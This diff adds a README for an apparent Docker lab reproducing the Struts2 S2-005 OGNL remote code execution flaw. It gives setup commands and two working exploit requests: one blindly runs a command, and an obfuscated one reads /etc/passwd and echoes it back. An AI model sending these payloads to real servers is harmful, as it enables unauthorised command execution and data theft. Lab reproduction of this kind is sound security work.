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+# S2-005 Remote Code Execution Vulnerability
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Affected Version: 2.0.0 - 2.1.8.1
+
+Details: http://struts.apache.org/docs/s2-005.html
+
+## Reference
+
+Refer 《White hat speaking Web Security》 by Wu Hanqing (Author)
+
+> s2-005 is a vulnerability which originating from S2-003(version: < 2.0.12), This behavior has been filtered in S2-003, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
+
+XWork will parse the keys and values of the GET parameter into Java statements using OGNL expressions, such as:
+
+```
+user.address.city=Bishkek&user['favoriteDrink']=kumys 
+//It will be converted to
+action.getUser().getAddress().setCity("Bishkek")  
+action.getUser().setFavoriteDrink("kumys")
+```
+
+Process follows:
+
+- In S2-003 Use `\u0023` to bypass struts2's filter `#`
+- After S2-003 struts2 added security mode (sandbox)
+- In S2-005 Use the OGNL expression to close the security mode and bypass again
+
+## Setup
+
+Run the following commands to start the environment
+
+```
+docker compose build
+docker compose up -d
+```
+
+## POC && EXP
+
+### Remote code execution POC (don't have display echo, use `@` instead space)
+
+```
+GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
+Host: target:8080
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
+
+```
+
+Some others POC will return 400 in tomcat8.Because the characters `\`, `"` can't be placed directly in the path, we need urlencode it before send.
+
+This POC don't have display, used OGNL's Expression Evaluation:
+
+![](1.jpeg)
+
+`(aaa)(bbb)`, `aaa` is used as the OGNL expression string, and `bbb` is the root object of the expression. Therefore, if we needs to execute code like `aaa`, it needs to be wrapped in quotation marks, and the `bbb` position can directly place the Java statement. `(aaa)(bbb)=true` is actually `aaa=true`.
+
+However, how to understand exactly, it needs further research and to be optimized. Hope someone can write a POC that can display echo.
+
+### Remote code execution POC (have display echo, command need urlencode)
+
+```
+POST /example/HelloWorld.action HTTP/1.1
+Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
+Host: target:8080
+Content-Length: 626
+redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
+```
+
+![](s2-005-3.png)
+
+![](s2-005-4.png)